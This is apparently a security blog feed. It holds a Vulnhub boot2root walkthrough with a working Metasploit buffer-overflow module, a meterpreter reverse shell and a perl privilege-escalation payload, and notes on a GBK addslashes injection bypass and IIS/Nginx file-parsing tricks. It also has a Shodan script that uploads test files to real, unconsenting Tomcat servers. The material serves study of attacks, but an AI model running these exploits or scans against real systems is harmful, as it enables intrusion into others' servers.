漏洞 – 若水斋 https://blog.werner.wiki Try harder Sat, 28 Dec 2019 07:30:04 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg 漏洞 – 若水斋 https://blog.werner.wiki 32 32 密码保护:渗透笔记之djinn https://blog.werner.wiki/penetrate-djinn/ https://blog.werner.wiki/penetrate-djinn/#respond Tue, 24 Dec 2019 01:14:58 +0000 https://blog.werner.wiki/?p=990

此内容受密码保护。如需查看请在下方输入访问密码:

]]>
https://blog.werner.wiki/penetrate-djinn/feed/ 0
渗透笔记之Overflow https://blog.werner.wiki/penetrate-overflow/ https://blog.werner.wiki/penetrate-overflow/#respond Tue, 30 Jul 2019 14:08:01 +0000 https://blog.werner.wiki/?p=765

首发于“安全客”,赚点稿费。

背景

Overflow是来自Vulnhub的boot2root靶机。下载下来的是一个OVA格式的虚拟机,可在VirtualBox中打开(不建议使用VMware)。虚拟机已设置DHCP,可自动获取IP。

本文较为完整地记录了对其进行渗透的全过程。该靶机难度为简单,需要攻击者具备逆向和缓冲区溢出的基本知识。

准备环境

首先下载靶机镜像,得到文件Overflow.ova,大小为493M。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一网络中还有一台IP地址是192.168.1.200的Kali Linux虚拟机(以下简称Kali)作为攻击者。

在Kali中运行命令netdiscover进行主机发现,确定靶机IP地址为:192.168.1.174。

信息收集

端口扫描

使用Nmap对靶机进行TCP端口扫描:

nmap -sV -p- -Pn -n 192.168.1.174

扫描结果如下图所示,看到靶机开放了80端口和1337端口。

nmap扫描结果

Web探测

访问http://192.168.1.174:80/,看到如下图所示的页面,有一个下载vulnserver的链接。

Web页面

出于习惯,查看页面源码,如下所示,没有什么收获。

<html>
Dirbuster is not needed. Here is the file : <a href="vulnserver" download>vulnserver</a>
</html>

虽然网页中写到“Dirbuster is not needed.”,但还是尝试了一下目录爆破,果然没有发现什么特别的目录。到目前为止,唯一的收获是vulnserver,把它下载下来。

vulnserver研究

功能研究

下载vulnserver后首先使用file命令查看文件类型:

file vulnserver

命令输出如下图所示,可以看出这是一个32位的ELF可执行文件。

file命令输出

给它可执行权限,并且执行它,看到它在监听1337端口,如下图所示。

vulnserver运行截图

用Telnet去连接它,并进行交互,结果如下图所示。

vulnserver交互截图

容易验证,靶机中监听1337端口的为同一程序。看来这个程序应该有可以远程利用的缓冲区溢出漏洞,现在的任务是找出这个漏洞并利用它。

静态分析

先用checksec看看防护情况:

checksec --file=vulnserver

如下图所示,看到什么防护都没有开启,最好不过了。

checksec结果

用IDA pro打开vulnserver,用F5逆向出main函数的C代码,这里只给出最关键的部分:

  /*
   * 省略绑定端口,进行监听的代码
   */
  while ( 1 )
  {
    v12 = accept(fd, &addr, &addr_len);
    if ( v12 < 0 )
      break;
    v3 = ntohs(*(uint16_t *)addr.sa_data);
    v4 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
    printf("Connection accepted from %s:%d\n", v4, v3);
    v11 = fork();    // 注意这里开启了新进程
    if ( !v11 )
    {
      write(v12, "COMMAND : ", 0xAu);
      recv(v12, &buf, 0x400u, 0);    // 接收客户端发来的数据
      if ( !strncmp("OVERFLOW ", &buf, 9u) )    // 只比较前9个字符是否相等
      {
        handleCommand(&buf);    // 调用了函数handleCommand
        write(v12, "COMMAND DONE\n", 0xDu);
      }
      else
      {
        write(v12, "TRY HARDER!\n", 0xCu);
      }
    }
  }
  /*
   * 省略接下来的代码
   */

继续F5逆向handleCommand函数,结果如下所示:

// Start address is 0x08049262
char *__cdecl handleCommand(char *src)
{
  char dest; // [esp+0h] [ebp-28h]
  return strcpy(&dest, src);
}

调用了strcpy,显然handleCommand是有栈溢出漏洞的。

动态调试

刚开始调试时,将断点下在handleCommand函数开始处(0x08049262),不能成功中断,而是收到sigchld信号,调试失败。查阅资料后得知这是由于多进程的原因。

后来采取的调试方法是先运行vulnserver,然后用Telnet建立与vulnserver的连接,此时子进程已经生成,接着打开edb,使用Attach功能调试vulnserver的子进程(进程ID大的那个),如下图所示。

Attache子进程

Attach后,将断点下在0x08049262,然后再输入COMMAND为“OVERFLOW 123456789”,如下图所示。

COMMAND为“OVERFLOW 123456789”

此时在edb中程序成功中断,如下图所示。

成功中断

单步运行至ret指令处,注意观察栈内数据,看到我们输入到“OVERFLOW 123456789”距离返回地址还有11行,也就是4×11=44个字符,如下图所示。

handleCommand ret

编写攻击代码

漏洞发掘完毕,接下来需要编写攻击代码。首先找跳板jmp esp(FF E4),使用edb的BinarySearcher插件,成功地找到了唯一的跳板,位于0x0804929a,如下图所示。

BinarySearcher结果

有了跳板,就可以编写攻击代码了。写了一个Metasploit的exploit模块,代码如下所示:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Vulnserver Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the vulnserver which froms a target machine called Overflow.
      },
      'Author'         => 'Werner <me[at]werner.wiki>',
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          ['Vulnhub', 'https://www.vulnhub.com/entry/overflow-1,300/']
        ],
      'Platform'       => %w{ linux },
      'Targets'        =>
        [
          [
            'Vulnserver',
            {
              'Platform' => 'linux',
              'Ret'      => 0x0804929a,
              'Offset'   => 44 - 9
            }
          ],
        ],
      'Payload'        =>
        {
          'BadChars'    => '\x0a\x0d\x00\xff'
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 22 2019'))

    # Configure the default port to be 9080
    register_options(
      [
        Opt::RPORT(1337),
      ])
  end


  def exploit
    print_status("Connecting to target for exploitation.")
    connect
    print_good("Connection established successfully.")
    recv_buf = sock.get_once
    print_status("Received data: #{recv_buf}")
    buf = make_nops(target['Offset'])
    buf = 'OVERFLOW ' + buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
    print_status("Sending exploit packet.")
    sock.put(buf)
    handler
    disconnect
  end
end

将上述代码保存到文件vulnserver.rb中,然后将这个文件放在/usr/share/metasploit-framework/modules/exploits/linux/misc/中。

需要特别说明,我使用的Metasploit版本为5.0.27-dev。

完成上述工作后打开msfconsole,输入命令reload_all重载所有模块,看看有没有报错,如果没有报错,exploits的数量应该多了1,这说明模块vulnserver载入成功。

漏洞利用

当然先在本地进行测试,发现攻击代码是可用的。然后进行实际的攻击,进入msfconsole后使用我们刚刚编写的攻击模块vulnserver,设置payload为linux/x86/meterpreter/reverse_tcp,设置rhosts为靶机IP,设置lhost为Kali的IP地址。具体的命令如下:

msf5 > use exploit/linux/misc/vulnserver
msf5 exploit(linux/misc/vulnserver) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/misc/vulnserver) > set rhosts 192.168.1.174
rhosts => 192.168.1.174
msf5 exploit(linux/misc/vulnserver) > set lhost 192.168.1.200
lhost => 192.168.1.200

设置完成后使用show options命令查看所有设置,如下图所示,检查下确定没有问题。

查看所有设置

之后输入exploit开始攻击,但失败了。没有关系,多尝试几次,就会有一次成功获得meterpreter shell,如下图所示。

成功获得meterpreter shell

探索

首先查看文件,找到了一个flag:user.txt,如下图所示。

user.txt

查看权限发现果然是普通用户,不是root。考虑提权,先搜索有suid标志的文件:

ls -lh $(find / -perm -u=s -type f 2>/dev/null)

结果如下图,值得注意的是一个叫做printauthlog的程序。

suid

考虑到后续可能依旧要使用溢出漏洞来提权,所以看看是否开启了地址随机化,发现是开启的,如下图所示。

aslr

不管这些,先把printauthlog下载下来再说。

printauthlog研究

功能研究

用file命令可以看出printauthlog也是一个32位的ELF可执行程序。同样先运行一下,发现是要输入一个密码。如下图和下下图所示。

printauthlog1

printauthlog2

静态分析

先用checksec看看防护情况:

checksec --file=printauthlog

如下图所示,看到开启了NX(不可执行),有点麻烦,直接jmp esp是不行了。

checksec结果

然后用IDA pro逆向,main函数比较短,直接给出全文:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char command[4]; // [esp+0h] [ebp-7Ch]
  char v5; // [esp+1Ch] [ebp-60h]
  int *v6; // [esp+6Ch] [ebp-10h]

  v6 = &argc;
  strcpy(command, "/bin/cat /var/log/auth.log");
  memset(&v5, 0, 0x48u);
  if ( argc == 2 )
  {
    if ( checkPassword((char *)argv[1]) )
      puts("Wrong password");
    else
      shell(command);
  }
  else
  {
    printf("Usage: %s password\n", *argv);
  }
  return 0;
}

关键点显然在函数checkPassword,继续逆向出checkPassword的C代码,如下:

// Start address is 0x80491C9
int __cdecl checkPassword(char *src)
{
  char s1[4]; // [esp+Fh] [ebp-49h]
  char dest; // [esp+18h] [ebp-40h]

  strcpy(s1, "deadbeef");
  strcpy(&dest, src);
  return strncmp(s1, &dest, 9u);
}

又看到了strcpy,显然checkPassword也是有栈溢出漏洞的。

至于shell函数,其C代码为:

int __cdecl shell(char *command)
{
  return system(command);
}

看到在shell函数中调用了system。

现在我们已经知道密码是deadbeef,试了下果然是正确的密码,如下图所示。但这对权限提升是没有帮助的。

密码正确

动态调试

作为一个单进程程序,调试起来简单一点点。但这个程序需要一个命令行参数,所以用edb调试需要用如下的命令打开:

edb --run ./printauthlog 123456

将程序停在checkPassword函数的ret指令处,如下图所示。

checkPassword ret

数一数可以知道输入的123456距离返回地址有17行,即17×4=68个字符。但由于开启了NX,所以直接将返回地址覆盖为jmp esp是不行的,实际上由于这个程序过于简单,也找不到jmp esp。

编写攻击代码

该如何利用这个漏洞呢?似乎只能用ROP了。但实际上不用那么复杂,因为我们注意到这个程序调用了system(函数shell中),我们只要准备好适当的参数,也调用system就好了。

第一个问题,确定system@plt的地址。这使用objdump来完成:

objdump -d -j .plt printauthlog

部分输出如下:

08049060 <system@plt>:
 8049060:   ff 25 18 c0 04 08       jmp    *0x804c018
 8049066:   68 18 00 00 00          push   $0x18
 804906b:   e9 b0 ff ff ff          jmp    8049020 <.plt>

第二个问题,如何准备system的参数。这个问题有点麻烦,因为32位程序的参数是通过栈传递的,而system的参数是字符串指针。如下图所示是正常调用system@plt开始时的栈中数据情况,可以看到system的参数0xffd8462c是指向字符串的指针,而不是字符串本身。虽然可以将栈中数据覆盖为任意值,但由于地址的动态特性,我不知道有什么办法在构造shellcode时可以确定栈中字符串地址。

正常调用system

因为这个问题迟迟没能解决,我几乎要放弃了。但正要放弃时,忽然想到了另一个靶机HackInOS中通过命令劫持的方式实现了提权。那台靶机中有suid标志的可执行文件的C代码为:

#include <unistd.h>
#include <stdlib.h>

int main(){
    setgid(0);
    setuid(0);
    system("whoami");
    return 0;
}

通过劫持whoami命令,将whoami替换为“/bin/bash -p”成功提权。

回到面临的问题,其实我不需要把自己构造的字符串做为system的参数,几乎任意的字符串都可以做为system的参数,只要它是固定的(内容和地址都固定),不以“/”开头(以“/”开头没法劫持)。这样的字符串还是有很多的,比如“Wrong password”。

首先确定“Wrong password”的地址,依旧使用BinarySearcher,找到其地址为0x0804a008,如下图所示。

字符串地址

然后就可以构造shellcode了,从前往后(栈中从上往下)依次是:

17*4 字节的填充
0x08049060:system@plt的地址
0x080491C0:一个实际上不会用到的返回地址,单纯占位
0x0804A008:“Wrong password”的地址,system的参数

由于printauthlog接收的是命令行参数,所以需要借助perl来输入“\x08”这样的特殊字符(靶机中没有Python)。实际执行如下的命令完成攻击:

./printauthlog $(perl -e 'print "A"x(17*4)."\x60\x90\x04\x08"."\xc0\x91\x04\x08"."\x08\xa0\x04\x08"')

但现在执行上述命令还不能成功,因为我们还没有劫持“Wrong”命令。

实施攻击

首先从meterpreter shell进入到bash shell中,然后看看当前目录,发现是/home/user,如下图。

pwd

然后建立一个名为Wrong的文件,内容为“/bin/bash -p”,并给它可执行权限,如下图。

Wrong

接着在PATH中添加/home/user,如下所示。

PATH="$PATH:/home/user"

PATH

此时已完成对“Wrong”命令的劫持。最后运行攻击命令,获得一个有root权限的bash shell,如下图。

EXPLOIT!

有了root权限,很容易就找到了root的flag,如下图。

root flag

flag是:

dfd0ac5a9cb9220d0d34322878d9cd7b

当然由于shellcode过于简单,只要一退出root shell,程序就崩溃了,如下图。

Segmentation fault

总结

虽然就缓冲区溢出而言,这个靶机的难度只能算简单,但我对这方面知识的了解仅限于阅读过《0day安全:软件漏洞分析技术(第二版)》,而且还是三年前的事情了,所以对我来说还是有相当的挑战的,成功拿到root权限后,带来的成就感也是前所未有的。

在渗透的过程中,果然不能轻言放弃,而是要尝试所有的可能性。同时我也感受到了二进制的魅力——内存海洋的苦苦寻觅,不拘一格的漏洞利用。

做的不好的地方在于没有过多的思考就直接执行了从靶机中下载的可执行文件,应该准备一个专用的沙盒的。

参考

]]>
https://blog.werner.wiki/penetrate-overflow/feed/ 0
GBK编码中%BF吞掉转义符研究 https://blog.werner.wiki/gbk-bf-escape-character/ https://blog.werner.wiki/gbk-bf-escape-character/#respond Tue, 03 Oct 2017 10:25:57 +0000 http://blog.werner.wiki/?p=360 零、PHP的addslashes函数

在PHP中,常常使用addslashes函数来防止SQL注入。

看名字就知道addslashes函数的作用是添加(add)反斜杠(slashes),该函数的输入和输出都是字符串,
该函数会给输入的字符串中的特殊字符前加上反斜杠(\)。特殊字符有四个:

  • 单引号(’)
  • 双引号(”)
  • 反斜杠(\)
  • NULL

如:

    <?php
        $str = "It's red";
        echo "select * from pets where description = '$str'";
        // 输出: select * from pets where description = 'It's red'
        $str = addslashes($str);
        echo "select * from pets where description = '$str'";
        // 输出: select * from pets where description = 'It\'s red'
    ?>

一、字符编码与字符串存储

众所周知,字符编码有很多种,每种编码都可以理解为一个字符到数值的映射,而且这个映射是一个一一映射。
集合A是字符集合,集合B是数值集合,字符编码是集合A到集合B的映射f,
并且对于集合B中的任一元素,在集合A中有且仅有一个原象。
由于一一映射的特殊性,说f是集合B到集合A的映射也是没有问题的。

在数学上,1和00000001是相等的,区别仅仅在于书写时费的笔墨多少,而这是无关紧要的事。
但在计算机中1和00000001虽然数值相等,但占用的存储空间大小不同,这是重要且无法忽略的事情。
为了避免混乱,字符编码中的数值除了指定数值本身的大小外,还需要指定存储这个数值所花去的存储空间的大小。
为便于计算机处理,存储空间大小一般都是8比特(一字节)的整数倍。
在某些编码中存储空间大小是固定的,所有字符对应的数值都用相同大小的存储空间存储,如ASCII码;
在另一些编码中,存储空间大小是不固定的,某些字符对应的数值占用的存储空间大,某些字符对应的数值占用的存储空间小。

字符串由字符组成,每个字符又可以映射成一个长度明确的数值,将这些长度明确的数值连续存储,便存储了字符串。
(我在数据结构课本上也看到过用链表存储字符串的方案,链表中每个节点存储一个字符。但在实际的计算机系统中,我从未遇到过以这种方式存储的字符串。)

如在GBK编码中,用一字节长度的97表示字符“a”(即0x61),用两字节长度的53947表示字符“一”(即0xD2BB),
则字符串“a一”在计算机中存储为:0x61D2BB。

“用一字节长度的97”这样的叙述显得很啰嗦,在计算机世界中,我们习惯于用16进制表示数。
一字节长度的97用16进制表示为0x61,两字节长度的97用16进制表示为0x0061,以此类推。
这样的16进制表示法,同时表示了数值的大小和存储空间大小,很是方便,下文中的数值均使用这种方法表示。

二、GBK编码如何吞掉转义符

0x27是GBK编码中的单引号“’”,0x5C是GBK编码中的反斜杠“\”。
0xBF和0xBF27都不是有效的GBK编码,0xBF5C是GBK编码中的汉字“縗”。

现在,我们将字符串0xBF27作为函数addslashes的输入,
该函数发现0xBF和0xBF27都不是有效的字符编码从而跳过了无法识别的0xBF,
又发现0x27是特殊字符单引号“’”,所以在0x27前加上了“\”(0x5C),最终输出0xBF5C27。

0xBF5C27这个字符串将被理所当然地理解为由0xBF5C和0x27这两个字符组成,
于是addslashes的输出便成了“縗’”,原本该被用来转义“’”的“\”被0xBF吞掉了。

下面是实际测试,设有如下的php代码:

    <?php
            header("Content-Type:text/html;charset=GBK");
            $u = $_GET['u'];
            echo "input is: $u<br>";
            $u = addslashes($u);
            echo "after addslashes is: $u<br>";
            $sql = "select * from user where user='$u'";
            echo "sql is: $sql<br>";
    ?>

将该代码保存为test.php,在浏览器中访问该文件。

先输入:test.php?u=a’,输出为:

    input is: a'
    after addslashes is: a\'
    sql is: select * from user where user='a\''

再输入:test.php?u=%BF’,输出为:

    input is: �'
    after addslashes is: 縗'
    sql is: select * from user where user='縗''

可见,GBK编码中,0xBF确实吞掉了转义符“\”。

三、为何是0xBF

想要0xXY能够吞掉转义“’”的转义符“\”需要满足以下几个条件:

  • 0xXY不是有效字符编码
  • 0xXY27不是有效字符编码
  • 0xXY5C是有效字符编码

满足这一条件的只有0xBF吗?当然不,GBK编码中的单字节字符完全兼容ASCII编码,双字节字符的总体编码范围为0x8140~0xFEFE,首字节在0x81~0xFE之间,尾字节在0x40~0xFE之间,剔除0xXX7F一条线。

我们注意到,尾字节范围在0x40~0xFE之间,0x27不在此范围内,0x5C恰巧在此范围内。
所以能够吞掉转义“’”的转义符“\”的0xXY有很多很多,远不止0xBF一个。
只要0xXY在0x81~0xFE之间就都可以达到此效果。简单测试下确实如此。

为何网上广为流传的会是0xBF呢?类似0xAA这样的组合多好记啊。

四、只有GBK编码有此问题吗

只有GBK编码中存在神奇的0xXY可以吞掉“\”,在其他编码中是否也存在这样的0xXY呢?

gb2312和GBK同源同根,GBK是gb2312的扩充,对GBK有效的0xXY对gb2312也有效。

除了gb2312和GBK外,我们最常见的字符编码便是UTF-8了。UTF-8中存在特殊的0xXY吗?很遗憾,并不存在。
下面这段UTF-8的编码规则摘自参考文献[3]:

UTF-8是一种变长字节编码方式。对于某一个字符的UTF-8编码,如果只有一个字节则其最高二进制位为0;如果是多字节,其第一个字节从最高位开始,连续的二进制位值为1的个数决定了其编码的位数,其余各字节均以10开头。UTF-8最多可用到6个字节。

    1字节 0xxxxxxx
    2字节 110xxxxx 10xxxxxx
    3字节 1110xxxx 10xxxxxx 10xxxxxx
    4字节 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
    5字节 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
    6字节 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

可见,UTF-8中多字节字符的每个节的最高位一定是1,而0x5C的最高位为0,
所以并不存在0xXY,使得0xXY5C是效字符编码,也不存在0xXYZW,使得0xXYZW5C是效字符编码。

所以,UTF-8编码无此问题。

参考文献

  1. addslashes
  2. GBK编码范围
  3. UTF-8编码规则
]]>
https://blog.werner.wiki/gbk-bf-escape-character/feed/ 0
利用Shodan寻找有漏洞CVE-2017-12615的网站 https://blog.werner.wiki/use-shodan-find-cve-2017-12615-web/ https://blog.werner.wiki/use-shodan-find-cve-2017-12615-web/#respond Mon, 02 Oct 2017 10:16:15 +0000 http://blog.werner.wiki/?p=358 零、概述

这篇文章记录了我使用搜索引擎Shodan提供的API自动寻找具有漏洞CVE-2017-12615的网站的思路与实现及最终结果。

一、CVE-2017-12615复现与检测

1.漏洞描述

该漏洞的详情见参考文献[1]。总结来说,CVE-2017-12615是Tomcat从5.x到9.x都有、影响Linux和Windows版本的严重远程代码执行漏洞。该漏洞仅在conf/web.xml中readonly参数设置为false(默认为true)时才存在。该漏洞允许攻击者通过PUT方式上传任意文件。若上传jsp文件,则通过在浏览器中访问上传的jsp文件,可执行jsp中脚本。

2.漏洞复现

首先从Tomcat官网下载最新版Tomcat——9.0.0.M26并安装,我把它安装在了Ubuntu14.04虚拟机中(虚拟机IP是192.168.56.101),安装过程见参考文献[2]。

然后修改Tomcat的配置文件conf/web.xml,在servlet-name为default的servlet标签内添加:

  <init-param>
      <param-name>readonly</param-name>
      <param-value>false</param-value>
  </init-param>

添加好后保存文件退出,并重启Tomcat。

最后,访问Tomcat根目录下某个不存在的文件,如:

  http://192.168.56.101:8080/1.jsp

会返回404,接着用PUT方法提交该文件。如何用PUT方法提交文件呢?最简单的方法是用curl命令,如:

  curl -XPUT 192.168.56.101/1.jsp/ --data "test"

这时再访问该URL,会返回刚刚提交的文件内容“test”。若提交的文件内容不是简单的“test”而是一段jsp代码,这段jsp则可以被执行。漏洞复现成功。

若PUT文件时返回403,可能是readonly被设置为true的原因。

3.漏洞检测

通过前面的复现,检测该漏洞的思路已经很清晰了,便是尝试用PUT方法向目标站点上传文件,上传失败则无此漏洞。上传成功后访问该文件,访问成功则确定漏洞存在,不成功则说明无此漏洞。

下面是上述漏洞检测逻辑的Python实现:

  import commands
  def detection(host, port):
      code = "7HU@&*e2%&!UEG^"
      put = 'curl -XPUT {0}:{1}/dete.jsp/ --data "{2}"'.format(host, port, code)
      get = 'curl {0}:{1}/dete.jsp'.format(host, port)
      (status, output) = commands.getstatusoutput(put)
      if status == 0 and output == '':
          (status, output) = commands.getstatusoutput(get)
          if status == 0 and output == code:
              return true
      return false

二、Shodan的API

1.什么是Shodan

Shodan是一个搜索引擎的名字,在这一点上它和Google、百度没有什么区别。区别在于搜索的内容不同,Google和百度搜索的对象主要是网站,当然也包含图片、视频、音乐和文档等,而Shodan搜索的对象则是任何连接到互联网的设备,除了服务器外,还包括网络摄像头、路由器和工控设备等等,只要是联网设备,都在它的搜索范围之内。

2.为什么用Shodan

在Google或百度中搜索“tomcat”,返回的是包含有“tomcat”这个字符串的网页,而在Shodan中搜索“tomcat”,返回的是使用了Tomcat的网站,这正是我们想要的。

3.Shodan的API

Shodan官方提供了封装了API的Python库,使用它可以方便地搜索并自动处理搜索结果。

使用如下命令安装Shodan的Python库:

sudo pip install shodan

该库可在Python代码中调用,也可以在命令行中使用“shodan”命令进行搜索。

安装好后还不能立即使用“shodan”命令,要先到Shodan官网注册账号,获取key,然后在命令行中输入如下命令进行初始化,之后才可以使用:

shodan init <key>

“shodan”命令的使用见参考文献[3]。我们主要在Python代码中调用Shodan库,文档见参考文献[4]。

4.搜索脚本

根据文档,可以很容易地写出搜索“tomcat”的Python代码,如下所示:

  import shodan
  SHODAN_API_KEY = "insert your API key here"
  api = shodan.Shodan(SHODAN_API_KEY)
  try:
      results = api.search('tomcat')
      print 'Results found: %s' % results['total']
      for result in results['matches']:
          print("{0}:{1}").format(result['ip_str'], result['port'])
  except shodan.APIError, e:
      print 'Error: %s' % e

三、完整脚本与检测结果

1.完整脚本

将搜索部分和检测部分结合在一起便完成了整个脚本。为日后复制粘贴之便,虽然大部分代码在上文中出现过但还是在下面给出完整的脚本:

  import commands
  import shodan

  SHODAN_API_KEY = "insert your API key here"

  def detection_CVE_2017_12615(host, port):
      code = "7HU@&*e2%&!UEG^"
      put = 'curl -XPUT {0}:{1}/dete.jsp/ --data "{2}"'.format(host, port, code)
      get = 'curl {0}:{1}/dete.jsp'.format(host, port)
      (status, output) = commands.getstatusoutput(put)
      if status == 0 and output == '':
          (status, output) = commands.getstatusoutput(get)
          if status == 0 and output == code:
              return True
      return False

  def search(key, detection_function):
      api = shodan.Shodan(SHODAN_API_KEY)
      try:
          results = api.search(key)
          print 'Results found: %s' % results['total']
          result_total = 0
          bingo_total = 0
          for result in results['matches']:
              if detection_function(result['ip_str'], result['port']):
                  print("Bingo! {0}:{1}".format(result['ip_str'], result['port']))
                  bingo_total += 1
              else:
                  print("NOVULN {0}:{1}".format(result['ip_str'], result['port']))
              result_total += 1
          print("Result is {0}/{1}".format(bingo_total, result_total))
      except shodan.APIError, e:
          print 'Error: %s' % e

  if __name__ == '__main__':
      search('tomcat', detection_CVE_2017_12615)

2.检测结果

Shodan搜索“tomcat”共有50313个结果,由于我的key是免费的,故而只能查看50313个结果中的67个。最终的检测也是针对这67个网站的,检测结果为这67个网站全部都没有漏洞。忙活一整天,结果一个漏洞都没有找到,真是令人沮丧。

参考文献

  1. Tomcat 远程代码执行漏洞分析(CVE-2017-12615)及补丁 Bypass
  2. Ubuntu16.10下安装Tomcat9
  3. 安全搜索引擎Shodan(搜蛋)命令行模式使用TIPS
  4. shodan-python 1.0 documentation
  5. Shodan新手入坑指南
]]>
https://blog.werner.wiki/use-shodan-find-cve-2017-12615-web/feed/ 0
文件解析漏洞总结-IIS https://blog.werner.wiki/file-resolution-vulnerability-iis/ https://blog.werner.wiki/file-resolution-vulnerability-iis/#respond Thu, 17 Aug 2017 09:47:43 +0000 http://blog.werner.wiki/?p=318 IIS(Internet Information Services)是微软出品的灵活、安全、易于管理的Web服务器。
在总结过ApacheNginx的文件解析漏洞后,现在来总结下IIS的文件解析漏洞。

默认后缀

这其实不是文件解析漏洞,但能达到和文件解析漏洞一样的效果。IIS总是和asp联系在一起。一般而言,asp程序文件的后缀为.asp,但实际上,IIS默认地还会解析其他后缀的文件为asp文件。如下图是我在Windows7中开启IIS7.5对asp支持后处理程序映射的默认设置:

由上图可知,.cer文件和.asp文件的处理程序一样,均为IsapiModule(实际上就是aspnet_isapi.dll),故.cer文件也被当做asp程序执行。经测试,确实是这样。

网上找到的资料说.asa、.cer和.cdx都是默认被IIS6.0当做asp执行的后缀。我在Windows XP SP3 + IIS5.1和Windows Server 2003 + IIS6.0中测试发现,.asa和.cer是被当做asp执行的后缀,.cdx不行。

总结一下,可能被IIS当做asp程序执行的后缀有:

  .asp
  .cer
  .asa
  .cdx

IIS 6.0 文件解析漏洞

这个真的是漏洞,不是什么特性。测试发现,IIS5.1和IIS7.5无此漏洞。

IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式:

  /test.asp/test.jpg
  test.asp;.jpg

第一种是新建一个名为“test.asp”的目录,该目录中的任何文件都被IIS当做asp程序执行(特殊符号是“/”);第二种是上传名为“test.asp;.jpg”的文件,虽然该文件真正的后缀名是“.jpg”,但由于含有特殊符号“;”,仍会被IIS当做asp程序执行。

漏洞原理见《IIS 文件名解析漏洞扼要分析》。该文链接可能已失效,百度文章标题,可以找到转载版本。原理大抵是IIS 5.x/6.0在从文件路径中读取文件后缀时,遇到一个“.”后,便进入了一种截断状态,在该状态下遇到特殊符号——“/”和“;”,都会进行截断,只保留特殊符号前的部分,即:“.asp”,从而认为文件后缀为“.asp”。

下图是我在Windows Server 2003 + IIS6.0中进行测试确认该漏洞存在的截图:

IIS6.0存在文件解析漏洞

遇到php时文件解析问题

  test.jpg/.php

IIS和Nginx在这一点上是一样的,一看到URL中文件后缀是.php,便无论该文件是否存在,都直接交给php处理,而php又默认开启“cgi.fix_pathinfo”,会对文件路径进行“修理”,何谓“修理”?举个例子,当php遇到文件路径“/aaa.xxx/bbb.yyy/ccc.zzz”时,若“/aaa.xxx/bbb.yyy/ccc.zzz”不存在,则会去掉最后的“/ccc.zzz”,然后判断“/aaa.xxx/bbb.yyy”是否存在,若存在,则把“/aaa.xxx/bbb.yyy”当做文件“/aaa.xxx/bbb.yyy/ccc.zzz”,若“/aaa.xxx/bbb.yyy”仍不存在,则继续去掉“/bbb.yyy”,以此类推。

若有文件test.jpg,访问时在其后加/.php,便可以让IIS把“test.jpg/.php”交给php,php“修理”文件路径“test.jpg/.php”得到“test.jpg”,该文件存在,便把该文件作为php程序执行了。下图所示,是在 IIS7.5+php5.3+FastCGI 下的测试情况:

成功执行php代码

asp没有“cgi.fix_pathinfo”,所以不存在这一问题。

Windows操作系统文件命名规则

Windows操作系统中,文件名不能以空格或“.”开头,也不能以空格或“.”结尾。当把一个文件命名为以空格或“.”开头或结尾时,会自动地去掉开头和结尾处的空格和“.”。利用此特性,也可能造成“文件解析漏洞”。

此外,Windows操作系统中的文件名是不区分大小写的,xxx.asp和xxx.Asp、xxx.php和xxx.PHp具有同样的效果。

参考资料

]]>
https://blog.werner.wiki/file-resolution-vulnerability-iis/feed/ 0
文件解析漏洞总结-Nginx https://blog.werner.wiki/file-resolution-vulnerability-nginx/ https://blog.werner.wiki/file-resolution-vulnerability-nginx/#comments Sun, 13 Aug 2017 09:42:52 +0000 http://blog.werner.wiki/?p=309 与Apache相比,Nginx算是后起之秀,但大有赶超之势。百度一番,又谷歌一番,最终只找到了三个已公开的、关于Nginx的解析漏洞,记录如下。

Nginx中php配置错误导致的解析漏洞

利用方式:

  /test.jpg/test.php

测试:

首先准备文件test.jpg,内容为:

  <?php phpinfo() ?>

在浏览器中访问 http://127.0.0.1/test.jpg 显示图片解析错误。在浏览器中访问 http://127.0.0.1/test.jpg/test.php ,显示:“Access denied.” 。这就有意思了,test.jpg是文件不是目录,test.php更是根本就不存在的文件,访问/test.jpg/test.php没有报404,而是显示“Access denied.” 。

Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php 后,一看后缀是.php,便认为该文件是php文件,转交给php去处理。php一看/test.jpg/test.php 不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回“Access denied.”。

这其中涉及到php的一个选项:cgi.fix_pathinfo,该值默认为1,表示开启。开启这一选项有什么用呢?看名字就知道是对文件路径进行“修理”。何谓“修理”?举个例子,当php遇到文件路径“/aaa.xxx/bbb.yyy/ccc.zzz”时,若“/aaa.xxx/bbb.yyy/ccc.zzz”不存在,则会去掉最后的“/ccc.zzz”,然后判断“/aaa.xxx/bbb.yyy”是否存在,若存在,则把“/aaa.xxx/bbb.yyy”当做文件“/aaa.xxx/bbb.yyy/ccc.zzz”,若“/aaa.xxx/bbb.yyy”仍不存在,则继续去掉“/bbb.yyy”,以此类推。

该选项在配置文件php.ini中。若是关闭该选项,访问 http://127.0.0.1/test.jpg/test.php 只会返回找不到文件。但关闭该选项很可能会导致一些其他错误,所以一般是开启的。

目前我们还没能成功执行代码,因为新版本的php引入了“security.limit_extensions”,限制了可执行文件的后缀,默认只允许执行.php文件。来做进一步测试。找到php5-fpm配置文件php-fpm.conf,若不知道在哪,可用如下命令搜索:

  sudo find / -name php-fpm.conf

